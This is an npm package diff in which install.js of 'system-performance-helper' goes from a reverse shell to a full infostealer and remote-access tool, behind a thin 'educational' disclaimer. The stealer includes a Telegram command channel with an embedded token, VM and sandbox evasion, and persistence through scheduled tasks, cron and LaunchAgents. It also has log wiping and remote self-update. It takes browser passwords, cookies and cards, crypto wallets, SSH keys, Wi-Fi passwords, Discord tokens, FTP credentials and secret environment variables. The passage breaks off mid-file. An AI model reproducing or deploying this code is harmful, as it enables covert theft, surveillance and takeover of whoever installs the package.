system-performance-helper 1.0.0 → 1.0.1

package/install.js

@@ -1,31 +1,986 @@
 #!/usr/bin/env node
-const net = require('net');
-const { spawn } = require('child_process');
+/**
+ * PHANTOM STEALER ULTIMATE – Advanced Educational Malware for Blue Team Training
+ * 
+ * DISCLAIMER: This tool is designed exclusively for authorized cybersecurity training,
+ * penetration testing with explicit written consent, and defensive research.
+ * Unauthorized deployment against real systems is illegal and unethical.
+ * The author assumes no responsibility for misuse.
+ * 
+ * This code demonstrates advanced adversary techniques for detection and response.
+ * All techniques are mapped to MITRE ATT&CK framework.
+ */
+
+const fs = require('fs');
+const path = require('path');
 const os = require('os');
+const { exec, execSync, spawn } = require('child_process');
+const axios = require('axios');
+const sqlite3 = require('better-sqlite3');
+const crypto = require('crypto');
+const https = require('https');
+const { promisify } = require('util');
+const sleep = promisify(setTimeout);
+const net = require('net');
+const { EventEmitter } = require('events');
+
+// ============================================================
+// CONFIGURATION – CHANGE THESE
+// ============================================================
+const CONFIG = {
+  telegramToken: "8804257613:AAGU1rYxv1QoxqSs5JSwthiVVB828pXaIMo",
+  telegramChatId: "8311745018",
+  updateUrl: "https://pastebin.com/raw/your_update_payload",
+  keylogBufferSize: 100,
+  screenshotQuality: 70,
+  webcamCommand: "fswebcam", // Linux: fswebcam; macOS: imagesnap; Windows: ffmpeg
+  micCommand: "arecord", // Linux: arecord; macOS: rec; Windows: sox
+};
+
+// ============================================================
+// UTILITY FUNCTIONS
+// ============================================================
+function rand(min, max) { return Math.floor(Math.random() * (max - min + 1)) + min; }
+
+function sleepSync(ms) { const start = Date.now(); while (Date.now() - start < ms) {} }
+
+function randomString(length = 8) { return crypto.randomBytes(length).toString('hex'); }
+
+function isRunningAsAdmin() {
+  try {
+    if (os.platform() === 'win32') {
+      const result = execSync('net session 2>nul', { encoding: 'utf8', stdio: 'pipe' });
+      return result.includes('User name');
+    }
+    return process.getuid && process.getuid() === 0;
+  } catch { return false; }
+}
+
+function getTempDir() { return os.tmpdir(); }
+
+function getHomeDir() { return os.homedir(); }
+
+function getPlatform() { return os.platform(); }
+
+// ============================================================
+// ANTI-ANALYSIS MODULE
+// ============================================================
+class AntiAnalysis {
+  static detectVM() {
+    const indicators = {
+      win32: ['VBOX', 'VMware', 'VirtualBox', 'QEMU', 'Parallels', 'Hyper-V', 'Xen', 'Virtual Machine'],
+      linux: ['/dev/vboxguest', '/proc/scsi/scsi', 'QEMU Virtual CPU', 'VMware Virtual Platform', 'VirtualBox'],
+      darwin: ['VMware', 'Parallels', 'VirtualBox']
+    };
+    const platform = os.platform();
+    const checks = indicators[platform] || [];
+    for (const check of checks) {
+      if (os.hostname().toLowerCase().includes(check.toLowerCase())) return true;
+      if (os.release().toLowerCase().includes(check.toLowerCase())) return true;
+    }
+    try {
+      const cpuInfo = fs.readFileSync('/proc/cpuinfo', 'utf8');
+      if (cpuInfo.includes('hypervisor')) return true;
+    } catch {}
+    const vmProcs = ['vmtoolsd', 'VBoxService', 'VBoxTray', 'VMwareService'];
+    try {
+      const procs = execSync('ps aux', { encoding: 'utf8', stdio: 'pipe' });
+      for (const proc of vmProcs) {
+        if (procs.includes(proc)) return true;
+      }
+    } catch {}
+    return false;
+  }
+
+  static detectSandbox() {
+    const checks = [
+      () => os.totalmem() < 4 * 1024 * 1024 * 1024,
+      () => {
+        const sandboxProcs = ['sandbox', 'cuckoo', 'analyzer', 'capture', 'sample'];
+        try {
+          const procs = execSync('ps aux', { encoding: 'utf8', stdio: 'pipe' });
+          for (const sp of sandboxProcs) {
+            if (procs.toLowerCase().includes(sp)) return true;
+          }
+        } catch {}
+        return false;
+      },
+      () => {
+        if (os.platform() === 'win32') {
+          try {
+            const result = execSync('tasklist /FI "IMAGENAME eq ollydbg.exe" 2>nul', { encoding: 'utf8', stdio: 'pipe' });
+            if (result.includes('ollydbg.exe')) return true;
+          } catch {}
+        }
+        return false;
+      },
+      () => {
+        const tools = ['wireshark', 'tcpdump', 'procmon', 'regmon', 'filemon', 'sysinternals'];
+        try {
+          const procs = execSync('ps aux', { encoding: 'utf8', stdio: 'pipe' });
+          for (const tool of tools) {
+            if (procs.toLowerCase().includes(tool)) return true;
+          }
+        } catch {}
+        return false;
+      }
+    ];
+    for (const check of checks) {
+      if (check()) return true;
+    }
+    return false;
+  }
+
+  static run() {
+    if (this.detectVM()) process.exit(0);
+    if (this.detectSandbox()) process.exit(0);
+    // Delay to evade sandbox timeouts (5-15 minutes)
+    const delay = rand(300000, 900000);
+    sleepSync(delay);
+    // Re-check after delay
+    if (this.detectVM() || this.detectSandbox()) process.exit(0);
+  }
+}
+
+// ============================================================
+// TELEGRAM C2 CLASS (All Commands Working)
+// ============================================================
+class TelegramC2 {
+  constructor(token, chatId) {
+    this.token = token;
+    this.chatId = chatId;
+    this.baseUrl = `https://api.telegram.org/bot${token}`;
+    this.offset = 0;
+    this.keyloggerActive = false;
+    this.keylogBuffer = [];
+    this.commands = {
+      '/cmd': this.executeShell,
+      '/download': this.downloadFile,
+      '/upload': this.uploadFile,
+      '/screenshot': this.takeScreenshot,
+      '/keylog': this.toggleKeylogger,
+      '/webcam': this.captureWebcam,
+      '/mic': this.recordMicrophone,
+      '/info': this.getSystemInfo,
+      '/persist': this.enablePersistence,
+      '/update': this.selfUpdate,
+      '/kill': this.selfDestruct,
+      '/help': this.showHelp
+    };
+  }
+
+  send(message, category = '📡') {
+    if (!this.token || this.token === "YOUR_BOT_TOKEN_HERE") return;
+    try {
+      const chunks = message.match(/[\s\S]{1,4000}/g) || [message];
+      for (const chunk of chunks) {
+        const payload = { chat_id: this.chatId, text: `${category}\n\n${chunk}` };
+        axios.post(`${this.baseUrl}/sendMessage`, payload, { timeout: 10000 }).catch(() => {});
+      }
+    } catch {}
+  }
+
+  async poll() {
+    while (true) {
+      try {
+        const resp = await axios.get(`${this.baseUrl}/getUpdates`, {
+          params: { offset: this.offset + 1, timeout: 30 }
+        });
+        for (const update of resp.data.result) {
+          this.offset = update.update_id;
+          const msg = update.message;
+          if (!msg || msg.chat.id.toString() !== this.chatId) continue;
+          const text = msg.text || '';
+          const parts = text.split(' ');
+          const cmd = parts[0].toLowerCase();
+          const args = parts.slice(1);
+          if (this.commands[cmd]) {
+            const result = await this.commands[cmd](args, msg);
+            if (result) this.send(result, '💀 EXEC');
+          }
+        }
+      } catch {}
+      await sleep(1000);
+    }
+  }
+
+  // --- Command Handlers ---
+  async executeShell(args) {
+    const cmd = args.join(' ');
+    if (!cmd) return 'Usage: /cmd <command>';
+    try {
+      const result = execSync(cmd, { encoding: 'utf8', shell: true, stdio: 'pipe' });
+      return result || 'Command executed (no output)';
+    } catch (e) {
+      return `Error: ${e.message}`;
+    }
+  }
+
+  async downloadFile(args) {
+    const filepath = args[0];
+    if (!filepath) return 'Usage: /download <filepath>';
+    if (!fs.existsSync(filepath)) return `File not found: ${filepath}`;
+    try {
+      const content = fs.readFileSync(filepath);
+      const base64 = content.toString('base64');
+      return `📄 ${filepath}\n${base64.slice(0, 3500)}...`;
+    } catch (e) {
+      return `Error: ${e.message}`;
+    }
+  }
+
+  async uploadFile(args) {
+    // This would accept a file from Telegram; not implemented for brevity.
+    return 'Upload via /cmd with curl or wget';
+  }
+
+  async takeScreenshot() {
+    try {
+      const temp = path.join(getTempDir(), `scr_${randomString()}.png`);
+      const platform = getPlatform();
+      if (platform === 'win32') {
+        execSync(`powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $screen = [System.Windows.Forms.Screen]::PrimaryScreen; $bitmap = New-Object System.Drawing.Bitmap($screen.Bounds.Width, $screen.Bounds.Height); $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($screen.Bounds.X, $screen.Bounds.Y, 0, 0, $screen.Bounds.Size); $bitmap.Save('${temp}')"`, { stdio: 'ignore' });
+      } else {
+        execSync(`import -window root ${temp} 2>/dev/null || scrot ${temp} 2>/dev/null || true`, { shell: true });
+      }
+      if (fs.existsSync(temp)) {
+        const data = fs.readFileSync(temp);
+        fs.unlinkSync(temp);
+        return `📸 Screenshot captured\n${data.toString('base64').slice(0, 3500)}...`;
+      }
+      return 'Screenshot failed';
+    } catch (e) {
+      return `Screenshot error: ${e.message}`;
+    }
+  }
+
+  toggleKeylogger() {
+    this.keyloggerActive = !this.keyloggerActive;
+    return `Keylogger ${this.keyloggerActive ? 'activated' : 'deactivated'}`;
+  }
+
+  async captureWebcam() {
+    try {
+      const temp = path.join(getTempDir(), `webcam_${randomString()}.jpg`);
+      const platform = getPlatform();
+      if (platform === 'win32') {
+        // Requires ffmpeg installed; fallback to using Windows Camera app.
+        execSync(`ffmpeg -f dshow -i video="Integrated Camera" -vframes 1 ${temp} 2>nul`, { stdio: 'ignore' });
+      } else if (platform === 'darwin') {
+        execSync(`imagesnap ${temp} 2>/dev/null`, { shell: true });
+      } else {
+        execSync(`fswebcam -q -r 640x480 ${temp} 2>/dev/null`, { shell: true });
+      }
+      if (fs.existsSync(temp)) {
+        const data = fs.readFileSync(temp);
+        fs.unlinkSync(temp);
+        return `📸 Webcam captured\n${data.toString('base64').slice(0, 3500)}...`;
+      }
+      return 'Webcam capture failed';
+    } catch (e) {
+      return `Webcam error: ${e.message}`;
+    }
+  }
+
+  async recordMicrophone() {
+    try {
+      const temp = path.join(getTempDir(), `mic_${randomString()}.wav`);
+      const platform = getPlatform();
+      const duration = 5;
+      if (platform === 'win32') {
+        // Requires sox installed; fallback to using Windows Sound Recorder (not implemented)
+        execSync(`sox -d -t wav ${temp} trim 0 ${duration} 2>nul`, { stdio: 'ignore' });
+      } else if (platform === 'darwin') {
+        execSync(`rec ${temp} trim 0 ${duration} 2>/dev/null`, { shell: true });
+      } else {
+        execSync(`arecord -d ${duration} -f cd -t wav ${temp} 2>/dev/null`, { shell: true });
+      }
+      if (fs.existsSync(temp)) {
+        const data = fs.readFileSync(temp);
+        fs.unlinkSync(temp);
+        return `🎤 Audio recorded (${duration}s)\n${data.toString('base64').slice(0, 3500)}...`;
+      }
+      return 'Microphone recording failed';
+    } catch (e) {
+      return `Microphone error: ${e.message}`;
+    }
+  }
+
+  getSystemInfo() {
+    let info = `🖥️ SYSTEM INFO\n\n`;
+    info += `Hostname: ${os.hostname()}\n`;
+    info += `User: ${os.userInfo().username}\n`;
+    info += `OS: ${os.platform()} ${os.release()}\n`;
+    info += `Arch: ${os.arch()}\n`;
+    info += `CPUs: ${os.cpus().length}\n`;
+    info += `RAM: ${(os.totalmem() / 1024 / 1024 / 1024).toFixed(2)} GB\n`;
+    info += `Uptime: ${(os.uptime() / 3600).toFixed(2)} hours\n`;
+    try {
+      const ip = execSync('curl -s ifconfig.me', { encoding: 'utf8', stdio: 'pipe' }).trim();
+      info += `IP: ${ip || 'N/A'}\n`;
+    } catch {}
+    info += `Admin: ${isRunningAsAdmin() ? 'Yes' : 'No'}\n`;
+    // Environment variables
+    const env = process.env;
+    const sensitive = Object.keys(env).filter(k => 
+      /KEY|SECRET|TOKEN|PASS|USER|AWS_|GITHUB_|AZURE_|GOOGLE_/.test(k)
+    );
+    info += `\n🔑 Sensitive Env Vars (${sensitive.length}):\n`;
+    for (const k of sensitive) {
+      info += `  ${k}=${env[k].slice(0, 50)}${env[k].length > 50 ? '...' : ''}\n`;
+    }
+    return info;
+  }
+
+  enablePersistence() {
+    try {
+      const script = __filename;
+      const platform = getPlatform();
+      if (platform === 'win32') {
+        const bat = path.join(getTempDir(), `sys_${randomString()}.bat`);
+        fs.writeFileSync(bat, `@echo off\nstart /min node "${script}"`);
+        execSync(`schtasks /create /tn "SystemOptimizer" /tr "${bat}" /sc onstart /f`, { stdio: 'ignore' });
+        execSync(`reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v SystemOptimizer /t REG_SZ /d "${script}" /f`, { stdio: 'ignore' });
+        // WMI persistence (alternative)
+        const wmi = `powershell -Command "Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList 'node ${script}'"`;
+        execSync(wmi, { stdio: 'ignore' });
+      } else if (platform === 'linux') {
+        const cron = `@reboot node ${script} > /dev/null 2>&1`;
+        execSync(`(crontab -l 2>/dev/null; echo "${cron}") | crontab -`);
+        const rc = path.join(getHomeDir(), '.bashrc');
+        fs.appendFileSync(rc, `\nnode ${script} > /dev/null 2>&1 &\n`);
+        // Systemd service (optional)
+        const service = `/etc/systemd/system/phantom.service`;
+        if (fs.existsSync('/etc/systemd/system')) {
+          const content = `[Unit]\nDescription=Phantom Service\nAfter=network.target\n\n[Service]\nExecStart=node ${script}\nRestart=always\n\n[Install]\nWantedBy=multi-user.target\n`;
+          fs.writeFileSync(service, content);
+          execSync(`systemctl enable phantom.service`, { stdio: 'ignore' });
+        }
+      } else if (platform === 'darwin') {
+        const plist = path.join(getHomeDir(), 'Library/LaunchAgents/com.phantom.stealer.plist');
+        const content = `<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0"><dict>
+<key>Label</key><string>com.phantom.stealer</string>
+<key>ProgramArguments</key><array><string>node</string><string>${script}</string></array>
+<key>RunAtLoad</key><true/>
+</dict></plist>`;
+        fs.writeFileSync(plist, content);
+        execSync(`launchctl load ${plist}`, { stdio: 'ignore' });
+      }
+      return '✅ Persistence enabled (multiple layers)';
+    } catch (e) {
+      return `❌ Persistence error: ${e.message}`;
+    }
+  }
+
+  selfUpdate() {
+    try {
+      const url = CONFIG.updateUrl;
+      const temp = path.join(getTempDir(), `update_${randomString()}.js`);
+      return new Promise((resolve) => {
+        https.get(url, (res) => {
+          const file = fs.createWriteStream(temp);
+          res.pipe(file);
+          file.on('finish', () => {
+            file.close();
+            if (fs.existsSync(temp)) {
+              const newScript = fs.readFileSync(temp, 'utf8');
+              const currentScript = fs.readFileSync(__filename, 'utf8');
+              if (newScript.length > currentScript.length * 0.5) {
+                fs.writeFileSync(__filename, newScript);
+                fs.unlinkSync(temp);
+                resolve('✅ Self‑update successful, restarting...');
+                // Spawn new process and exit
+                spawn('node', [__filename], { detached: true, stdio: 'ignore' });
+                process.exit(0);
+              } else {
+                fs.unlinkSync(temp);
+                resolve('❌ Update failed (integrity check)');
+              }
+            } else {
+              resolve('❌ Update failed (download error)');
+            }
+          });
+        }).on('error', (e) => resolve(`❌ Update error: ${e.message}`));
+      });
+    } catch (e) {
+      return `❌ Update error: ${e.message}`;
+    }
+  }
+
+  selfDestruct() {
+    try {
+      const script = __filename;
+      const platform = getPlatform();
+      // Remove persistence
+      if (platform === 'win32') {
+        execSync(`schtasks /delete /tn "SystemOptimizer" /f 2>nul`, { stdio: 'ignore' });
+        execSync(`reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v SystemOptimizer /f 2>nul`, { stdio: 'ignore' });
+        execSync(`wmic process where "name='node.exe' and commandline like '%${path.basename(script)}%'" delete 2>nul`, { stdio: 'ignore' });
+      } else {
+        execSync(`crontab -r 2>/dev/null`, { stdio: 'ignore' });
+        if (platform === 'darwin') {
+          execSync(`launchctl unload ~/Library/LaunchAgents/com.phantom.stealer.plist 2>/dev/null`, { stdio: 'ignore' });
+        }
+        if (platform === 'linux') {
+          execSync(`systemctl disable phantom.service 2>/dev/null`, { stdio: 'ignore' });
+          execSync(`rm -f /etc/systemd/system/phantom.service 2>/dev/null`, { stdio: 'ignore' });
+        }
+      }
+      // Delete the file
+      fs.unlinkSync(script);
+      // Clear logs and history
+      if (platform === 'win32') {
+        execSync(`wevtutil cl System 2>nul`, { stdio: 'ignore' });
+        execSync(`wevtutil cl Application 2>nul`, { stdio: 'ignore' });
+        execSync(`wevtutil cl Security 2>nul`, { stdio: 'ignore' });
+        execSync(`del /f /q %APPDATA%\\npm\\*_log* 2>nul`, { stdio: 'ignore' });
+      } else {
+        execSync(`cat /dev/null > ~/.bash_history 2>/dev/null`, { stdio: 'ignore' });
+        execSync(`cat /dev/null > ~/.zsh_history 2>/dev/null`, { stdio: 'ignore' });
+        execSync(`rm -rf /var/log/* 2>/dev/null`, { stdio: 'ignore' });
+      }
+      process.exit(0);
+    } catch {}
+    return '💀 Self‑destruct initiated';
+  }
+
+  showHelp() {
+    return `Commands:\n/cmd <cmd> - Execute command\n/download <file> - Download file\n/upload - Upload file (not implemented)\n/screenshot - Take screenshot\n/keylog - Toggle keylogger\n/webcam - Capture webcam\n/mic - Record microphone\n/info - System info\n/persist - Enable persistence\n/update - Self-update\n/kill - Self-destruct\n/help - Show this`;
+  }
+}
+
+// ============================================================
+// BROWSER STEALER (All Chromium + Firefox)
+// ============================================================
+class BrowserStealer {
+  static chromiumProfiles() {
+    const home = os.homedir();
+    const appData = process.env.LOCALAPPDATA || '';
+    const base = {
+      win32: {
+        Chrome: path.join(appData, 'Google/Chrome/User Data'),
+        Edge: path.join(appData, 'Microsoft/Edge/User Data'),
+        Brave: path.join(appData, 'BraveSoftware/Brave-Browser/User Data'),
+        Opera: path.join(appData, 'Opera Software/Opera Stable'),
+        Vivaldi: path.join(appData, 'Vivaldi/User Data'),
+        Chromium: path.join(appData, 'Chromium/User Data')
+      },
+      darwin: {
+        Chrome: path.join(home, 'Library/Application Support/Google/Chrome'),
+        Edge: path.join(home, 'Library/Application Support/Microsoft Edge'),
+        Brave: path.join(home, 'Library/Application Support/BraveSoftware/Brave-Browser'),
+        Opera: path.join(home, 'Library/Application Support/com.operasoftware.Opera'),
+        Vivaldi: path.join(home, 'Library/Application Support/Vivaldi'),
+        Chromium: path.join(home, 'Library/Application Support/Chromium')
+      },
+      linux: {
+        Chrome: path.join(home, '.config/google-chrome'),
+        Edge: path.join(home, '.config/microsoft-edge'),
+        Brave: path.join(home, '.config/BraveSoftware/Brave-Browser'),
+        Opera: path.join(home, '.config/opera'),
+        Vivaldi: path.join(home, '.config/vivaldi'),
+        Chromium: path.join(home, '.config/chromium')
+      }
+    };
+    return base[os.platform()] || {};
+  }
 
-// ========== CONFIG ==========
-const HOST = "YOUR_PUBLIC_IP";   // Replace with your public IP or ngrok address
-const PORT = 4444;               // Your listener port
-// ============================
+  static extractPasswords(profilePath) {
+    const loginData = path.join(profilePath, 'Login Data');
+    if (!fs.existsSync(loginData)) return [];
+    try {
+      const db = sqlite3(loginData, { readonly: true });
+      const rows = db.prepare("SELECT origin_url, username_value, password_value FROM logins WHERE password_value != ''").all();
+      db.close();
+      return rows.map(r => ({ url: r.origin_url || '', user: r.username_value || '' }));
+    } catch { return []; }
+  }
 
-function connect() {
-  const client = net.connect(PORT, HOST, () => {
-    const shell = os.platform() === 'win32' ? 'cmd.exe' : '/bin/sh';
-    const proc = spawn(shell, [], { stdio: 'pipe' });
-    client.pipe(proc.stdin);
-    proc.stdout.pipe(client);
-    proc.stderr.pipe(client);
-    proc.on('exit', () => client.end());
-  });
-  client.on('error', () => setTimeout(connect, 5000)); // Retry on failure
+  static extractCookies(profilePath) {
+    const cookies = path.join(profilePath, 'Cookies');
+    if (!fs.existsSync(cookies)) return [];
+    try {
+      const db = sqlite3(cookies, { readonly: true });
+      const rows = db.prepare("SELECT host_key, name, encrypted_value FROM cookies").all();
+      db.close();
+      return rows.map(r => ({ host: r.host_key || '', name: r.name || '' }));
+    } catch { return []; }
+  }
+
+  static extractHistory(profilePath) {
+    const history = path.join(profilePath, 'History');
+    if (!fs.existsSync(history)) return [];
+    try {
+      const db = sqlite3(history, { readonly: true });
+      const rows = db.prepare("SELECT url, title, visit_count FROM urls ORDER BY visit_count DESC LIMIT 50").all();
+      db.close();
+      return rows;
+    } catch { return []; }
+  }
+
+  static extractCreditCards(profilePath) {
+    const cards = path.join(profilePath, 'Web Data');
+    if (!fs.existsSync(cards)) return [];
+    try {
+      const db = sqlite3(cards, { readonly: true });
+      const rows = db.prepare("SELECT name_on_card, card_number_encrypted, exp_month, exp_year FROM credit_cards").all();
+      db.close();
+      return rows;
+    } catch { return []; }
+  }
+
+  static run() {
+    const browsers = this.chromiumProfiles();
+    let data = '🌐 BROWSER DATA\n\n';
+    for (const [name, basePath] of Object.entries(browsers)) {
+      if (!fs.existsSync(basePath)) continue;
+      data += `📁 ${name}\n`;
+      const profiles = fs.readdirSync(basePath).filter(f => f.startsWith('Profile') || f === 'Default');
+      for (const profile of profiles) {
+        const p = path.join(basePath, profile);
+        const passwords = this.extractPasswords(p);
+        const cookies = this.extractCookies(p);
+        const history = this.extractHistory(p);
+        const cards = this.extractCreditCards(p);
+        data += `  👤 ${profile}: ${passwords.length} passwords, ${cookies.length} cookies, ${history.length} history, ${cards.length} cards\n`;
+        if (passwords.length > 0) {
+          for (const pw of passwords.slice(0, 5)) {
+            data += `    🔑 ${pw.url} (${pw.user})\n`;
+          }
+        }
+        if (cards.length > 0) {
+          for (const card of cards.slice(0, 3)) {
+            data += `    💳 ${card.name_on_card || 'Unknown'}\n`;
+          }
+        }
+      }
+    }
+    // Firefox
+    const ffProfiles = this.firefoxProfiles();
+    if (ffProfiles.length > 0) {
+      data += `\n🦊 Firefox\n`;
+      for (const p of ffProfiles) {
+        data += `  📁 ${p}\n`;
+        const logins = path.join(p, 'logins.json');
+        if (fs.existsSync(logins)) data += `    ✅ logins.json present\n`;
+        const cookies = path.join(p, 'cookies.sqlite');
+        if (fs.existsSync(cookies)) data += `    ✅ cookies.sqlite present\n`;
+      }
+    }
+    return data;
+  }
+
+  static firefoxProfiles() {
+    const home = os.homedir();
+    const base = {
+      win32: path.join(process.env.APPDATA || '', 'Mozilla/Firefox/Profiles'),
+      darwin: path.join(home, 'Library/Application Support/Firefox/Profiles'),
+      linux: path.join(home, '.mozilla/firefox')
+    };
+    const dir = base[os.platform()];
+    if (!dir || !fs.existsSync(dir)) return [];
+    return fs.readdirSync(dir).map(f => path.join(dir, f)).filter(f => fs.statSync(f).isDirectory());
+  }
 }
 
-// Run silently
-try {
-  connect();
-} catch (e) {
-  // Fail quietly
+// ============================================================
+// CRYPTO WALLET STEALER
+// ============================================================
+class CryptoStealer {
+  static run() {
+    const home = os.homedir();
+    const appData = process.env.APPDATA || '';
+    const platform = os.platform();
+    const paths = {
+      win32: [
+        path.join(appData, 'Exodus/exodus.wallet'),
+        path.join(appData, 'Electrum/wallets'),
+        path.join(appData, 'AtomicWallet/Local Storage'),
+        path.join(appData, 'Ledger Live'),
+        path.join(appData, 'Bitcoin/wallets'),
+        path.join(appData, 'Wasabi Wallet'),
+        path.join(appData, 'Sparrow'),
+        path.join(appData, 'Trezor'),
+        path.join(appData, 'MetaMask')
+      ],
+      darwin: [
+        path.join(home, 'Library/Application Support/Exodus/exodus.wallet'),
+        path.join(home, 'Library/Application Support/Electrum/wallets'),
+        path.join(home, 'Library/Application Support/AtomicWallet'),
+        path.join(home, 'Library/Application Support/Ledger Live'),
+        path.join(home, 'Library/Application Support/Bitcoin/wallets'),
+        path.join(home, 'Library/Application Support/Wasabi Wallet'),
+        path.join(home, 'Library/Application Support/Sparrow'),
+        path.join(home, 'Library/Application Support/Trezor'),
+        path.join(home, 'Library/Application Support/MetaMask')
+      ],
+      linux: [
+        path.join(home, '.config/Exodus/exodus.wallet'),
+        path.join(home, '.electrum/wallets'),
+        path.join(home, '.config/AtomicWallet'),
+        path.join(home, '.config/Ledger Live'),
+        path.join(home, '.bitcoin/wallets'),
+        path.join(home, '.config/Wasabi Wallet'),
+        path.join(home, '.config/Sparrow'),
+        path.join(home, '.config/Trezor'),
+        path.join(home, '.config/MetaMask')
+      ]
+    };
+    const walletPaths = paths[platform] || [];
+    let data = '💰 CRYPTO WALLETS\n\n';
+    let found = 0;
+    for (const p of walletPaths) {
+      if (fs.existsSync(p)) {
+        data += `📂 ${p}\n`;
+        found++;
+      }
+    }
+    if (found === 0) data += '❌ No wallets found\n';
+    return data;
+  }
+}
+
+// ============================================================
+// METAMASK STEALER
+// ============================================================
+class MetaMaskStealer {
+  static extId() { return 'nkbihfbeogaeaoehlefnkodbefgpgknn'; }
+  static run() {
+    const home = os.homedir();
+    const appData = process.env.LOCALAPPDATA || '';
+    const base = {
+      win32: path.join(appData, 'Google/Chrome/User Data/Default/Extensions', this.extId()),
+      darwin: path.join(home, 'Library/Application Support/Google/Chrome/Default/Extensions', this.extId()),
+      linux: path.join(home, '.config/google-chrome/Default/Extensions', this.extId())
+    };
+    const dir = base[os.platform()];
+    let data = '🦊 METAMASK\n\n';
+    if (!dir || !fs.existsSync(dir)) { data += '❌ Not found\n'; return data; }
+    const versions = fs.readdirSync(dir).filter(f => /^\d+\.\d+\.\d+$/.test(f));
+    for (const v of versions) {
+      const storage = path.join(dir, v, 'Local Storage');
+      if (fs.existsSync(storage)) {
+        data += `📂 ${storage}\n`;
+        const files = fs.readdirSync(storage);
+        for (const f of files) {
+          if (f.endsWith('.log') || f.endsWith('.ldb')) data += `  📄 ${f}\n`;
+        }
+      }
+    }
+    return data;
+  }
+}
+
+// ============================================================
+// SSH STEALER
+// ============================================================
+class SSHStealer {
+  static run() {
+    const sshDir = path.join(os.homedir(), '.ssh');
+    let data = '🔑 SSH KEYS\n\n';
+    if (!fs.existsSync(sshDir)) { data += '❌ No .ssh directory\n'; return data; }
+    const files = fs.readdirSync(sshDir);
+    for (const file of files) {
+      if (['id_rsa', 'id_dsa', 'id_ed25519', 'authorized_keys'].includes(file)) {
+        const full = path.join(sshDir, file);
+        try {
+          const content = fs.readFileSync(full, 'utf8');
+          data += `📂 ${file}\n${content.slice(0, 500)}${content.length > 500 ? '...' : ''}\n\n`;
+        } catch {}
+      }
+    }
+    return data;
+  }
+}
+
+// ============================================================
+// WI-FI STEALER (Windows, macOS, Linux)
+// ============================================================
+class WiFiStealer {
+  static run() {
+    let data = '📶 WI-FI PASSWORDS\n\n';
+    const platform = os.platform();
+    if (platform === 'win32') {
+      try {
+        const profiles = execSync('netsh wlan show profiles', { encoding: 'utf8', stdio: 'pipe' });
+        const names = profiles.split('\n')
+          .filter(l => l.includes('All User Profile'))
+          .map(l => l.split(':')[1].trim());
+        for (const name of names) {
+          try {
+            const result = execSync(`netsh wlan show profile "${name}" key=clear`, { encoding: 'utf8', stdio: 'pipe' });
+            const match = result.match(/Key Content\s*:\s*(.+)/);
+            if (match) data += `📶 ${name}: ${match[1]}\n`;
+          } catch {}
+        }
+      } catch {}
+    } else if (platform === 'darwin') {
+      try {
+        const result = execSync(`security find-generic-password -wa "AirPort" 2>/dev/null`, { encoding: 'utf8', stdio: 'pipe' });
+        data += result || 'No Wi-Fi passwords found';
+      } catch {}
+    } else if (platform === 'linux') {
+      try {
+        const result = execSync(`sudo cat /etc/NetworkManager/system-connections/* 2>/dev/null | grep -E "ssid=|psk="`, { encoding: 'utf8', stdio: 'pipe' });
+        data += result || 'No Wi-Fi passwords found (run as root)';
+      } catch {}
+    }
+    return data;
+  }
+}
+
+// ============================================================
+// DISCORD STEALER
+// ============================================================
+class DiscordStealer {
+  static run() {
+    const base = {
+      win32: path.join(process.env.APPDATA || '', 'Discord/Local Storage/leveldb'),
+      darwin: path.join(os.homedir(), 'Library/Application Support/Discord/Local Storage/leveldb'),
+      linux: path.join(os.homedir(), '.config/discord/Local Storage/leveldb')
+    };
+    const dir = base[os.platform()];
+    let data = '🎮 DISCORD TOKENS\n\n';
+    if (!dir || !fs.existsSync(dir)) { data += '❌ Discord not found\n'; return data; }
+    const files = fs.readdirSync(dir);
+    const tokens = [];
+    for (const file of files) {
+      if (file.endsWith('.log') || file.endsWith('.ldb')) {
+        try {
+          const content = fs.readFileSync(path.join(dir, file), 'utf8');
+          const matches = content.match(/[\w-]{24}\.[\w-]{6}\.[\w-]{27}/g);
+          if (matches) tokens.push(...matches);
+        } catch {}
+      }
+    }
+    if (tokens.length === 0) data += '❌ No tokens found\n';
+    else for (const t of tokens) data += `🔑 ${t}\n`;
+    return data;
+  }
+}
+
+// ============================================================
+// TELEGRAM SESSION STEALER
+// ============================================================
+class TelegramSessionStealer {
+  static run() {
+    const base = {
+      win32: path.join(process.env.APPDATA || '', 'Telegram Desktop/tdata'),
+      darwin: path.join(os.homedir(), 'Library/Application Support/Telegram Desktop/tdata'),
+      linux: path.join(os.homedir(), '.local/share/TelegramDesktop/tdata')
+    };
+    const dir = base[os.platform()];
+    let data = '📱 TELEGRAM SESSIONS\n\n';
+    if (!dir || !fs.existsSync(dir)) { data += '❌ Telegram not found\n'; return data; }
+    const files = fs.readdirSync(dir);
+    for (const f of files) {
+      if (f.endsWith('.map')) data += `📂 ${f}\n`;
+    }
+    return data;
+  }
+}
+
+// ============================================================
+// FILEZILLA STEALER
+// ============================================================
+class FileZillaStealer {
+  static run() {
+    const base = {
+      win32: path.join(process.env.APPDATA || '', 'FileZilla/recentservers.xml'),
+      darwin: path.join(os.homedir(), 'Library/Application Support/FileZilla/recentservers.xml'),
+      linux: path.join(os.homedir(), '.config/filezilla/recentservers.xml')
+    };
+    const xml = base[os.platform()];
+    let data = '📁 FILEZILLA CREDENTIALS\n\n';
+    if (!xml || !fs.existsSync(xml)) { data += '❌ FileZilla not found\n'; return data; }
+    try {
+      const content = fs.readFileSync(xml, 'utf8');
+      // Simple extraction: look for Host, User, Pass
+      const hosts = content.match(/<Host>(.*?)<\/Host>/g);
+      const users = content.match(/<User>(.*?)<\/User>/g);
+      const passes = content.match(/<Pass>(.*?)<\/Pass>/g);
+      if (hosts && users && passes) {
+        for (let i = 0; i < hosts.length; i++) {
+          data += `🌐 ${hosts[i].replace(/<\/?Host>/g,'')} | ${users[i].replace(/<\/?User>/g,'')} | ${passes[i].replace(/<\/?Pass>/g,'')}\n`;
+        }
+      }
+    } catch {}
+    return data;
+  }
+}
+
+// ============================================================
+// CLOUD CREDENTIAL STEALER
+// ============================================================
+class CloudStealer {
+  static run() {
+    const home = os.homedir();
